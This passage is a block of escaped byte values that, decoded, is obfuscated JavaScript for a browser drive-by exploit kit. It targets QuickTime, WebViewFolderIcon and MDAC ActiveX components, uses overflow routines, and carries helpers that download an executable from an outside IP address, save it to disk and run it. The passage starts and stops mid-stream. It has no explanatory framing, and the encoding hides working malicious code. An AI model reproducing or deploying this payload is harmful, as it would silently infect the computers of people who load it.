xa8\xaf\xc0\xd3\xc4\xc9\x8d\x87\xd1\xc4\xd7\xc2\xc0\xd1\x87\x8e\x87\x8b\x87\x8e\xf6\xd1\xd7\xcc\xcb\xc2\x8b\xc3\xd7\xca\xc8\xe6\xcd\xc4\xd7\xe6\xca\xc1\xc0\x8d\x94\x94\x91\x89\x94\x95\x94\x89\x9c\x9c\x89\x94\x95\x94\x89\x94\x95\x90\x89\x94\x94\x9d\x89\x94\x95\x94\x89\x91\x95\x89\x91\x94\x8c\x8e\x87\x9e\x87\x8c\x9e\xa8\xaf\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd7\xc0\xd1\xd0\xd7\xcb\x85\x95\x9e\x85\xd8\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xd6\xd1\xc4\xd7\xd1\xea\xd3\xc0\xd7\xc3\xc9\xca\xd2\x8d\xcb\xd0\xc8\x8c\xa8\xaf\xa8\xaf\xde\xa8\xaf\xa8\xaf\xac\xcc\xc3\x85\x8d\xcb\xd0\xc8\x85\x98\x98\x85\x95\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xac\xd1\xd7\xdc\x85\xde\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xc8\xc0\xc8\xfa\xc3\xc9\xc4\xc2\x8c\x85\xc6\xc3\x8d\x8c\x9e\xa8\xaf\xac\xac\xac\xac\xdc\xc4\xcd\x8d\x8c\x9e\xa8\xaf\xac\xac\xac\xac\xc0\xc9\xc0\xc4\x8d\x8c\x9e\xa8\xaf\xac\xac\xac\xac\xa8\xaf\xac\xac\xac\xd3\xc4\xd7\x85\xd4\xd1\x85\x98\x85\xcb\xc0\xd2\x85\xe4\xc6\xd1\xcc\xd3\xc0\xfd\xea\xc7\xcf\xc0\xc6\xd1\x8d\x82\xf4\xd0\xcc\xc6\xce\x82\x8e\x82\xf1\xcc\xc8\xc0\x8b\xf4\xd0\x82\x8e\x82\xcc\xc6\xce\xf1\xcc\xc8\xc0\x82\x8c\x9e\xac\xac\xa8\xaf\xa8\xaf\xac\xac\xac\xcc\xc3\x85\x8d\xd4\xd1\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xd3\xc4\xd7\x85\xd4\xd1\xcd\xd1\xc8\xc9\x85\x98\x85\x82\x99\xca\xc7\xcf\xc0\xc6\xd1\x85\xe6\xe9\xe4\xf6\xf6\xec\xe1\x98\x87\xc6\xc9\xd6\xcc\xc1\x9f\x95\x97\xe7\xe3\x97\x90\xe1\x90\x88\x9d\xe6\x94\x92\x88\x91\xe7\x97\x96\x88\xe7\xe6\x9d\x95\x88\xe1\x96\x91\x9d\x9d\xe4\xe7\xe1\xe1\xe6\x93\xe7\x87\x85\xd2\xcc\xc1\xd1\xcd\x98\x87\x94\x87\x85\xcd\xc0\xcc\xc2\xcd\xd1\x98\x87\x94\x87\x85\xd6\xd1\xdc\xc9\xc0\x98\x87\xc7\xca\xd7\xc1\xc0\xd7\x9f\x95\xd5\xdd\x87\x9b\x82\x8e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\x82\x99\xd5\xc4\xd7\xc4\xc8\x85\xcb\xc4\xc8\xc0\x98\x87\xd6\xd7\xc6\x87\x85\xd3\xc4\xc9\xd0\xc0\x98\x87\xd4\xd1\x8b\xd5\xcd\xd5\x87\x9b\x82\x8e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\x82\x99\xd5\xc4\xd7\xc4\xc8\x85\xcb\xc4\xc8\xc0\x98\x87\xc4\xd0\xd1\xca\xd5\xc9\xc4\xdc\x87\x85\xd3\xc4\xc9\xd0\xc0\x98\x87\xd1\xd7\xd0\xc0\x87\x9b\x82\x8e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\x82\x99\xd5\xc4\xd7\xc4\xc8\x85\xcb\xc4\xc8\xc0\x98\x87\xc9\xca\xca\xd5\x87\x85\xd3\xc4\xc9\xd0\xc0\x98\x87\xc3\xc4\xc9\xd6\xc0\x87\x9b\x82\x8e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\x82\x99\xd5\xc4\xd7\xc4\xc8\x85\xcb\xc4\xc8\xc0\x98\x87\xc6\xca\xcb\xd1\xd7\xca\xc9\xc9\xc0\xd7\x87\x85\xd3\xc4\xc9\xd0\xc0\x98\x87\xd1\xd7\xd0\xc0\x87\x9b\x82\x8e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\x82\x99\x8a\xca\xc7\xcf\xc0\xc6\xd1\x9b\x82\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xc8\xc0\xc8\xfa\xc3\xc9\xc4\xc2\x8c\x85\xc6\xc3\x8d\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xc1\xca\xc6\xd0\xc8\xc0\xcb\xd1\x8b\xc2\xc0\xd1\xe0\xc9\xc0\xc8\xc0\xcb\xd1\xe7\xdc\xec\xc1\x8d\x82\xc8\xdc\xc1\x82\x8e\x82\xcc\xd3\x82\x8c\x8b\xcc\xcb\xcb\xc0\xd7\xed\xf1\xe8\xe9\x85\x98\x85\xd4\xd1\xcd\xd1\xc8\xc9\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xcb\xd0\xc8\x85\x98\x85\x97\x90\x90\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xd8\xa8\xaf\xa8\xaf\xac\xac\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xac\xcc\xc3\x85\x8d\xcb\xd0\xc8\x85\x98\x85\x97\x90\x90\x8c\x85\xd6\xc0\xd1\xf1\xcc\xc8\xc0\xca\xd0\xd1\x8d\x87\xd6\xd1\xc4\xd7\xd1\xea\xd3\xc0\xd7\xc3\xc9\xca\xd2\x8d\x94\x8c\x87\x89\x85\x97\x95\x95\x95\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xc0\xc9\xd6\xc0\x85\xd6\xd1\xc4\xd7\xd1\xea\xd3\xc0\xd7\xc3\xc9\xca\xd2\x8d\x94\x8c\x9e\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xd8\x85\xc0\xc9\xd6\xc0\x85\xcc\xc3\x85\x8d\xcb\xd0\xc8\x85\x98\x98\x85\x94\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xac\xd1\xd7\xdc\x85\xde\xa8\xaf\xa8\xaf\xac\xac\xac\xd3\xc4\xd7\x85\xd2\xcc\xcb\xdf\xcc\xd5\x85\x98\x85\xc1\xca\xc6\xd0\xc8\xc0\xcb\xd1\x8b\xc6\xd7\xc0\xc4\xd1\xc0\xe0\xc9\xc0\xc8\xc0\xcb\xd1\x8d\x87\xca\xc7\xcf\xc0\xc6\xd1\x87\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xd2\xcc\xcb\xdf\xcc\xd5\x8b\xd6\xc0\xd1\xe4\xd1\xd1\xd7\xcc\xc7\xd0\xd1\xc0\x8d\x87\xc6\xc9\xc4\xd6\xd6\xcc\xc1\x87\x89\x85\x87\xc6\xc9\xd6\xcc\xc1\x9f\xe4\x95\x9c\xe4\xe0\x93\x87\x8e\x87\x9d\xe3\x88\xe7\x94\x91\xe1\x88\x91\x96\x87\x8e\x87\xe0\xe1\x88\xe7\x92\x94\x96\x88\xe7\xe4\x91\x94\x96\x87\x8e\x87\xe3\x95\x96\x91\x9c\x95\x91\x87\x8c\x9e\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xac\xac\xd3\xc4\xd7\x85\xd7\xc0\xd1\x98\xd2\xcc\xcb\xdf\xcc\xd5\x8b\xe6\xd7\xc0\xc4\xd1\xc0\xeb\xc0\xd2\xe3\xca\xc9\xc1\xc0\xd7\xe3\xd7\xca\xc8\xeb\xc4\xc8\xc0\x8d\xd0\xcb\xc0\xd6\xc6\xc4\xd5\xc0\x8d\x87\x80\x95\x95\x87\x8c\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xcc\xc3\x85\x8d\xd7\xc0\xd1\x85\x98\x98\x85\xc3\xc4\xc9\xd6\xc0\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xc8\xc0\xc8\xfa\xc3\xc9\xc4\xc2\x8c\x85\xc6\xc3\x8d\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xd6\xd1\xc4\xd7\xd1\xf2\xcc\xcb\xff\xcc\xd5\x8d\xd2\xcc\xcb\xdf\xcc\xd5\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xcb\xd0\xc8\x85\x98\x85\x97\x90\x90\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xac\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xac\xcc\xc3\x85\x8d\xcb\xd0\xc8\x85\x98\x85\x97\x90\x90\x8c\x85\xd6\xc0\xd1\xf1\xcc\xc8\xc0\xca\xd0\xd1\x8d\x87\xd6\xd1\xc4\xd7\xd1\xea\xd3\xc0\xd7\xc3\xc9\xca\xd2\x8d\x97\x8c\x87\x89\x85\x97\x95\x95\x95\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xc0\xc9\xd6\xc0\x85\xd6\xd1\xc4\xd7\xd1\xea\xd3\xc0\xd7\xc3\xc9\xca\xd2\x8d\x97\x8c\x9e\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xd8\x85\xc0\xc9\xd6\xc0\x85\xcc\xc3\x85\x8d\xcb\xd0\xc8\x85\x98\x98\x85\x97\x8c\x85\xde\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xac\xd1\xd7\xdc\x85\xde\xa8\xaf\xa8\xaf\xac\xac\xac\xd3\xc4\xd7\x85\xd1\xc4\xd7\x85\x98\x85\xcb\xc0\xd2\x85\xe4\xc6\xd1\xcc\xd3\xc0\xfd\xea\xc7\xcf\xc0\xc6\xd1\x8d\x82\xf2\xc0\xc7\xf3\xcc\x82\x8e\x82\xc0\xd2\xe3\xca\xc9\x82\x8e\x82\xc1\xc0\xd7\xec\xc6\x82\x8e\x82\xca\xcb\x8b\xf2\xc0\xc7\xf3\xcc\x82\x8e\x82\xc0\xd2\xe3\xca\xc9\x82\x8e\x82\xc1\xc0\xd7\xec\x82\x8e\x82\xc6\xca\xcb\x8b\x94\x82\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xcc\xc3\x85\x8d\xd1\xc4\xd7\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xc8\xc0\xc8\xfa\xc3\xc9\xc4\xc2\x8c\x85\xc6\xc3\x8d\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xac\xd6\xd1\xc4\xd7\xd1\xf2\xf3\xe3\x8d\x8c\x9e\xa8\xaf\xa8\xaf\xac\xac\xac\xd8\xa8\xaf\xa8\xaf\xac\xac\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xac\xd8\xa8\xaf\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xe2\xc0\xd1\xf7\xc4\xcb\xc1\xf6\xd1\xd7\xcc\xcb\xc2\x8d\xc9\xc0\xcb\x8c\xa8\xaf\xde\xa8\xaf\xac\xd3\xc4\xd7\x85\xc6\xcd\xc4\xd7\xd6\x85\x98\x85\x87\xc4\xc7\xc6\xc1\xc0\xc3\xc2\xcd\xcc\xce\xc9\xc8\xcb\xca\xd5\xd4\xd7\xd6\xd1\xd0\xd3\xd2\xdd\xdc\xdf\x87\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xd6\xd1\xd7\xcc\xcb\xc2\xfa\xc9\xc0\xcb\xc2\xd1\xcd\x85\x98\x85\xc9\xc0\xcb\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xd7\xc4\xcb\xc1\xca\xc8\xd6\xd1\xd7\xcc\xcb\xc2\x85\x98\x85\x82\x82\x9e\xa8\xaf\xac\xc3\xca\xd7\x85\x8d\xd3\xc4\xd7\x85\xcc\x98\x95\x9e\x85\xcc\x99\xd6\xd1\xd7\xcc\xcb\xc2\xfa\xc9\xc0\xcb\xc2\xd1\xcd\x9e\x85\xcc\x8e\x8e\x8c\x85\xde\xa8\xaf\xac\xac\xd3\xc4\xd7\x85\xd7\xcb\xd0\xc8\x85\x98\x85\xe8\xc4\xd1\xcd\x8b\xc3\xc9\xca\xca\xd7\x8d\xe8\xc4\xd1\xcd\x8b\xd7\xc4\xcb\xc1\xca\xc8\x8d\x8c\x85\x8f\x85\xc6\xcd\xc4\xd7\xd6\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x8c\x9e\xa8\xaf\xac\xac\xd7\xc4\xcb\xc1\xca\xc8\xd6\xd1\xd7\xcc\xcb\xc2\x85\x8e\x98\x85\xc6\xcd\xc4\xd7\xd6\x8b\xd6\xd0\xc7\xd6\xd1\xd7\xcc\xcb\xc2\x8d\xd7\xcb\xd0\xc8\x89\xd7\xcb\xd0\xc8\x8e\x94\x8c\x9e\xa8\xaf\xac\xd8\xa8\xaf\xa8\xaf\xac\xd7\xc0\xd1\xd0\xd7\xcb\x85\xd7\xc4\xcb\xc1\xca\xc8\xd6\xd1\xd7\xcc\xcb\xc2\x9e\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xe6\xe9\xf6\xec\xe1\x89\x85\xcb\xc4\xc8\xc0\x8c\x85\xde\xa8\xaf\xac\xd3\xc4\xd7\x85\xd7\x85\x98\x85\xcb\xd0\xc9\xc9\x9e\xa8\xaf\xac\xd1\xd7\xdc\x85\xde\x85\xc0\xd3\xc4\xc9\x8d\x82\xd7\x85\x98\x85\xe6\xe9\xf6\xec\xe1\x8b\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xcb\xc4\xc8\xc0\x8c\x82\x8c\x85\xd8\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\xde\xd8\xac\xa8\xaf\xac\xcc\xc3\x85\x8d\x84\xd7\x8c\x85\xde\x85\xd1\xd7\xdc\x85\xde\xd6\x98\x94\x9e\x85\xc0\xd3\xc4\xc9\x8d\x82\xd7\x85\x98\x85\xe6\xe9\xf6\xec\xe1\x8b\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xcb\xc4\xc8\xc0\x89\x85\x87\x87\x8c\x82\x8c\x85\xd8\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\xde\xd8\x85\xd8\xa8\xaf\xac\xcc\xc3\x85\x8d\x84\xd7\x8c\x85\xde\x85\xd1\xd7\xdc\x85\xde\xd6\x98\x94\x9e\x85\xc0\xd3\xc4\xc9\x8d\x82\xd7\x85\x98\x85\xe6\xe9\xf6\xec\xe1\x8b\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xcb\xc4\xc8\xc0\x89\x85\x87\x87\x89\x85\x87\x87\x8c\x82\x8c\x85\xd8\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\xde\xd8\x85\xd8\xa8\xaf\xac\xcc\xc3\x85\x8d\x84\xd7\x8c\x85\xde\x85\xd1\xd7\xdc\x85\xde\xd6\x98\x94\x9e\x85\xc0\xd3\xc4\xc9\x8d\x82\xd7\x85\x98\x85\xe6\xe9\xf6\xec\xe1\x8b\xe2\xc0\xd1\xea\xc7\xcf\xc0\xc6\xd1\x8d\x87\x87\x89\x85\xcb\xc4\xc8\xc0\x8c\x82\x8c\x85\xd8\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\xde\xd8\x85\xd8\xa8\xaf\xac\xcc\xc3\x85\x8d\x84\xd7\x8c\x85\xde\x85\xd1\xd7\xdc\x85\xde\xd6\x98\x94\x9e\x85\xc0\xd3\xc4\xc9\x8d\x82\xd7\x85\x98\x85\xe6\xe9\xf6\xec\xe1\x8b\xe2\xc0\xd1\xea\xc7\xcf\xc0\xc6\xd1\x8d\xcb\xc4\xc8\xc0\x89\x85\x87\x87\x8c\x82\x8c\x85\xd8\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\xde\xd8\x85\xd8\xa8\xaf\xac\xcc\xc3\x85\x8d\x84\xd7\x8c\x85\xde\x85\xd1\xd7\xdc\x85\xde\xd6\x98\x94\x9e\x85\xc0\xd3\xc4\xc9\x8d\x82\xd7\x85\x98\x85\xe6\xe9\xf6\xec\xe1\x8b\xe2\xc0\xd1\xea\xc7\xcf\xc0\xc6\xd1\x8d\xcb\xc4\xc8\xc0\x8c\x82\x8c\x85\xd8\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\xde\xd8\x85\xd8\xa8\xaf\xac\xd7\xc0\xd1\xd0\xd7\xcb\x8d\xd7\x8c\x9e\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xfd\xe8\xe9\xed\xd1\xd1\xd5\xe1\xca\xd2\xcb\xc9\xca\xc4\xc1\x8d\xdd\xc8\xc9\x89\x85\xd0\xd7\xc9\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xd1\xd7\xdc\x85\xde\xa8\xaf\xac\xac\xdd\xc8\xc9\x8b\xca\xd5\xc0\xcb\x8d\x87\xe2\xe0\xf1\x87\x89\x85\xd0\xd7\xc9\x89\x85\xc3\xc4\xc9\xd6\xc0\x8c\x9e\xa8\xaf\xac\xac\xdd\xc8\xc9\x8b\xd6\xc0\xcb\xc1\x8d\xcb\xd0\xc9\xc9\x8c\x9e\xa8\xaf\xa8\xaf\xac\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd7\xc0\xd1\xd0\xd7\xcb\x85\x95\x9e\x85\xd8\xa8\xaf\xa8\xaf\xac\xd7\xc0\xd1\xd0\xd7\xcb\x85\xdd\xc8\xc9\x8b\xd7\xc0\xd6\xd5\xca\xcb\xd6\xc0\xe7\xca\xc1\xdc\x9e\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xe4\xe1\xea\xe7\xe1\xf6\xd1\xd7\xc0\xc4\xc8\xf6\xc4\xd3\xc0\x8d\xca\x89\x85\xcb\xc4\xc8\xc0\x89\x85\xc1\xc4\xd1\xc4\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xd1\xd7\xdc\x85\xde\xa8\xaf\xac\xac\xca\x8b\xf1\xdc\xd5\xc0\x85\x98\x85\x94\x9e\xa8\xaf\xac\xac\xca\x8b\xe8\xca\xc1\xc0\x85\x98\x85\x96\x9e\xa8\xaf\xac\xac\xca\x8b\xea\xd5\xc0\xcb\x8d\x8c\x9e\xa8\xaf\xac\xac\xca\x8b\xf2\xd7\xcc\xd1\xc0\x8d\xc1\xc4\xd1\xc4\x8c\x9e\xa8\xaf\xac\xac\xca\x8b\xf6\xc4\xd3\xc0\xf1\xca\xe3\xcc\xc9\xc0\x8d\xcb\xc4\xc8\xc0\x89\x85\x97\x8c\x9e\xa8\xaf\xac\xac\xca\x8b\xe6\xc9\xca\xd6\xc0\x8d\x8c\x9e\xa8\xaf\xac\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd7\xc0\xd1\xd0\xd7\xcb\x85\x95\x9e\x85\xd8\xa8\xaf\xa8\xaf\xac\xd7\xc0\xd1\xd0\xd7\xcb\x85\x94\x9e\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xf6\xcd\xc0\xc9\xc9\xe0\xdd\xc0\xc6\xd0\xd1\xc0\x8d\xc0\xdd\xc0\xc6\x89\x85\xcb\xc4\xc8\xc0\x89\x85\xd1\xdc\xd5\xc0\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xcc\xc3\x85\x8d\xd1\xdc\xd5\xc0\x85\x98\x98\x85\x95\x8c\x85\xde\xa8\xaf\xac\xac\xd1\xd7\xdc\x85\xde\x85\xc0\xdd\xc0\xc6\x8b\xf7\xd0\xcb\x8d\xcb\xc4\xc8\xc0\x89\x85\x95\x8c\x9e\x85\xd7\xc0\xd1\xd0\xd7\xcb\x85\x94\x9e\x85\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd8\xa8\xaf\xac\xd8\x85\xc0\xc9\xd6\xc0\x85\xde\xa8\xaf\xac\xac\xd1\xd7\xdc\x85\xde\x85\xc0\xdd\xc0\x8b\xf6\xcd\xc0\xc9\xc9\xe0\xdd\xc0\xc6\xd0\xd1\xc0\x8d\xcb\xc4\xc8\xc0\x8c\x9e\x85\xd7\xc0\xd1\xd0\xd7\xcb\x85\x94\x9e\x85\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xd8\xa8\xaf\xac\xd8\xa8\xaf\xa8\xaf\xac\xd7\xc0\xd1\xd0\xd7\xcb\x8d\x95\x8c\x9e\xa8\xaf\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xe8\xe1\xe4\xe6\x8d\x8c\x85\xde\xa8\xaf\xac\xd3\xc4\xd7\x85\xd1\x85\x98\x85\xcb\xc0\xd2\x85\xe4\xd7\xd7\xc4\xdc\x8d\x82\xde\xe7\xe1\x9c\x93\xe6\x90\x82\x8e\x82\x90\x93\x88\x93\x90\xe4\x96\x88\x94\x94\x82\x8e\x82\xe1\x95\x88\x9c\x9d\x96\xe4\x88\x95\x95\xe6\x95\x91\xe3\xe6\x82\x8e\x82\x97\x9c\xe0\x96\x95\xd8\x82\x89\x85\x82\xde\xe7\xe1\x9c\x93\xe6\x82\x8e\x82\x90\x90\x93\x88\x93\x90\xe4\x96\x88\x94\x94\x82\x8e\x82\xe1\x95\x88\x9c\x9d\x96\xe4\x88\x95\x95\xe6\x95\x82\x8e\x82\x91\xe3\xe6\x97\x9c\xe0\x96\x93\xd8\x82\x89\x85\x82\xde\xe4\xe7\x9c\xe7\x82\x8e\x82\xe6\xe0\xe1\xe1\x88\xe0\xe6\x92\xe0\x88\x91\x92\x82\x8e\x82\xe0\x94\x88\x9c\x96\x97\x97\x88\xe1\x91\xe4\x97\x94\x82\x8e\x82\x95\x93\x94\x92\x94\x94\x93\xd8\x82\x89\x85\x82\xde\x95\x95\x95\x93\xe3\x82\x8e\x82\x95\x96\x96\x88\x95\x95\x95\x95\x88\x95\x95\x95\x95\x88\xe6\x95\x95\x95\x88\x95\x95\x95\x95\x95\x95\x82\x8e\x82\x95\x95\x95\x95\x91\x93\xd8\x82\x89\x85\x82\xde\x95\x95\x95\x93\x82\x8e\x82\xe3\x95\x96\xe4\x88\x95\x95\x95\x95\x88\x95\x95\x95\x95\x88\xe6\x95\x95\x95\x88\x95\x95\x95\x95\x95\x95\x95\x82\x8e\x82\x95\x95\x95\x91\x93\xd8\x82\x89\x85\x82\xde\x93\xc0\x96\x97\x82\x8e\x82\x95\x92\x95\xc4\x88\x92\x93\x93\xc1\x88\x91\xc0\xc0\x93\x88\x9d\x92\x9c\xc6\x88\xc1\xc6\x94\xc3\xc4\x82\x8e\x82\x9c\x94\xc1\x97\xc3\xc6\x96\xd8\x82\x89\x85\x82\xde\x93\x91\x94\x91\x82\x8e\x82\x90\x94\x97\xe7\x88\xe7\x9c\x92\x9d\x88\x91\x90\x94\xe1\x88\xe4\x95\xe1\x9d\x88\xe3\xe6\xe3\xe1\xe3\x96\x82\x8e\x82\x96\xe0\x9d\x96\x96\xe6\xd8\x82\x89\x85\x82\xde\x92\xe3\x90\xe7\x82\x8e\x82\x92\xe3\x93\x96\x88\xe3\x95\x93\xe3\x88\x91\x96\x96\x94\x88\x9d\xe4\x97\x93\x88\x96\x96\x9c\xe0\x95\x96\x82\x8e\x82\xe6\x95\xe4\xe0\x96\xe1\xd8\x82\x89\x85\x82\xde\x95\x93\x92\x97\x82\x8e\x82\x96\xe0\x95\x9c\x88\xe3\x91\xe6\x97\x88\x91\x96\x82\x8e\x82\xc6\x9d\x88\x9d\x96\x90\x9d\x88\x95\x9c\xe3\xe6\xe1\x94\xe1\x82\x8e\x82\xe7\x95\x92\x93\x93\xd8\x82\x89\x85\x82\xde\x93\x96\x9c\xe3\x82\x8e\x82\x92\x97\x90\xe3\x88\x94\xe7\x97\xe1\x88\x91\x9d\x82\x8e\x82\x96\x94\x88\xe4\x9c\xe3\xe1\x88\x9d\x92\x91\x9d\x91\x82\x8e\x82\x92\x93\x9d\x97\x95\x94\x95\xd8\x82\x89\x85\x82\xde\xe7\xe4\x95\x94\x9d\x82\x8e\x82\x90\x9c\x9c\x88\x94\xe1\xe7\x96\x88\x91\x91\xc3\x82\x8e\x82\x9c\x88\x9d\x96\xe7\x91\x88\x91\x93\x94\x91\x90\x82\x8e\x82\x91\xe6\x9d\x91\xe7\xe3\x9d\xd8\x82\x89\x85\x82\xde\xe1\x95\xe6\x95\x92\x82\x8e\x82\xe1\x90\x93\x88\x92\xe6\x93\x9c\x88\x91\x96\xe3\x94\x88\xe7\x91\x82\x8e\x82\xe4\x95\x88\x97\x90\xe3\x90\xe4\x94\x82\x8e\x82\x94\xe3\xe4\xe7\x94\x9c\xd8\x82\x89\x85\x82\xde\xe0\x9d\xe6\x82\x8e\x82\xe6\xe6\xe1\xe1\xe3\x88\xe6\xe4\x97\x9d\x88\x91\x9c\x93\xc7\x88\xe7\x82\x8e\x82\x95\x90\x95\x88\x93\xe6\x95\x92\xe6\x9c\x93\x97\x82\x8e\x82\x91\x92\x93\xe7\xd8\x82\x89\x85\xcb\xd0\xc9\xc9\x8c\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xd3\x85\x98\x85\xcb\xc0\xd2\x85\xe4\xd7\xd7\xc4\xdc\x8d\xcb\xd0\xc9\xc9\x89\x85\xcb\xd0\xc9\xc9\x89\x85\xcb\xd0\xc9\xc9\x8c\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xcc\x85\x98\x85\x95\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xcb\x85\x98\x85\x95\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xd7\xc0\xd1\x85\x98\x85\x95\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xd0\xd7\xc9\xf7\xc0\xc4\xc9\xe0\xdd\xc0\x85\x98\x85\x82\xcd\xd1\xd1\xd5\x9f\x8a\x8a\x9d\x92\x8b\x97\x95\x92\x8b\x94\x95\x90\x8b\x94\x9c\x94\x8a\xc3\xcc\xc9\xc0\x8b\xd5\xcd\xd5\x82\x9e\xa8\xaf\xa8\xaf\xac\xd2\xcd\xcc\xc9\xc0\x85\x8d\xd1\xfe\xcc\xf8\x85\x83\x83\x85\x8d\x84\x85\xd3\xfe\x95\xf8\x85\xd9\xd9\x85\x84\x85\xd3\xfe\x94\xf8\x85\xd9\xd9\x85\x84\x85\xd3\xfe\x97\xf8\x8c\x85\x8c\x85\xde\xa8\xaf\xac\xac\xd3\xc4\xd7\x85\xc4\x85\x98\x85\xcb\xd0\xc9\xc9\x9e\xa8\xaf\xa8\xaf\xac\xac\xd1\xd7\xdc\x85\xde\xa8\xaf\xac\xac\xac\xc4\x85\x98\x85\xc1\xca\xc6\xd0\xc8\xc0\xcb\xd1\x8b\xc6\xd7\xc0\xc4\xd1\xc0\xe0\xc9\xc0\xc8\xc0\xcb\xd1\x8d\x87\xca\xc7\xcf\xc0\xc6\xd1\x87\x8c\x9e\xa8\xaf\xac\xac\xac\xc4\x8b\xd6\xc0\xd1\xe4\xd1\xd1\xd7\xcc\xc7\xd0\xd1\xc0\x8d\x87\xc6\xc9\xc4\xd6\xd6\xcc\xc1\x87\x89\x85\x87\xc6\xc9\xd6\xcc\xc1\x9f\x87\x85\x8e\x85\xd1\xfe\xcc\xf8\x8b\xd6\xd0\xc7\xd6\xd1\xd7\xcc\xcb\xc2\x8d\x94\x89\x85\xd1\xfe\xcc\xf8\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x85\x88\x85\x94\x8c\x8c\x9e\xa8\xaf\xac\xac\xd8\x85\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\x85\xde\x85\xc4\x85\x98\x85\xcb\xd0\xc9\xc9\x9e\x85\xd8\xa8\xaf\xac\xac\xa8\xaf\xac\xac\xcc\xc3\x85\x8d\xc4\x8c\x85\xde\xa8\xaf\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xd3\xfe\x95\xf8\x8c\x85\xde\xa8\xaf\xac\xac\xac\xac\xd3\xfe\x95\xf8\x85\x98\x85\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xc4\x89\x85\x87\xc8\xd6\xdd